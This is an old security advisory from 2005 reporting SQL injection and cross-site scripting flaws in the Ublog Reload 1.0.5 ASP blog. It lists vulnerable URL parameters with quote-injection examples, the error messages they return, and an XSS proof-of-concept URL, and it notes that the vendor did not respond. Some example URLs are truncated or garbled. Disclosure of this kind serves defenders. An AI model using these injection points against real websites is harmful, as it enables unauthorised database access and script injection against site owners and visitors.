Author: Dedi Dwianto
Date: June, 20th 2005
Location: Indonesia, Jakarta

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : Ublog Reload
version : 1.0.5
url : http://www.uapplication.com/
Author: uapplication

Description:
Ublog Reload is a complete weblog system write base asp.I Found Multiple
Sql Injection Attack in this application.

Vulnerabilitie:
~~~~~~~~~~~~~~~~

A. SQL Injection

* http://victim/UblogReload/index.asp?ci=[SQL INJECT][id]&s=category

ex :
http://victim/UblogReload/index.asp?ci='62&s=category

Error :
Microsoft VBScript runtime error '800a000d'
Type mismatch: 'cint'

/UblogReload/index.asp, line 41


* http://victim/UblogReload/index.asp?d=[id][SQL Inject]&m=[mouth]&y=[year]&s=day

ex :
http://victim/UblogReload/index.asp?d=11&#...=6&y=2005&s=day

Error :
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC Microsoft Access Driver] Syntax error in string in query expression 'Day(data) = 11' AND Month(data) = 6 AND Year(data) = 2005 ORDER BY data DESC;'.

/UblogReload/index.asp, line 101


* http://victim/UblogReload/blog_comment.asp?bi=71&m=6&y=[year][SQL Inject]&d=&s=category

Ex :
http://victim/UblogReload/blog_comment.asp...;&d=&s=category

Error :

Microsoft VBScript runtime error '800a000d'

Type mismatch: 'iThisYear'

/UblogReload/include/calendar.asp, line 7

* http://victim/UblogReload/index.asp?m=[mount][SQL Inject]&y=[year]&s=month

Ex :
http://victim/UblogReload/index.asp?m=6'&y=2005&s=month
Error :

Microsoft VBScript runtime error '800a000d'
Type mismatch: 'cint'
/UblogReload/include/functions_format_datetime.asp, line 26

* http://victim/UblogReload/index.asp?ui=[user ID][SQL Inject]&s=bloggers

And XSS
POC :
http://victim/UblogReload/trackback.asp?bi=[id]&btitle=[XSS]&mode=view
http://victim/UblogReload/trackback.asp?bi...t>&mode=view

B. Fix
Sorry I can't give solution because i can't view source code becase that's commersial Software.
Contact vendor No response.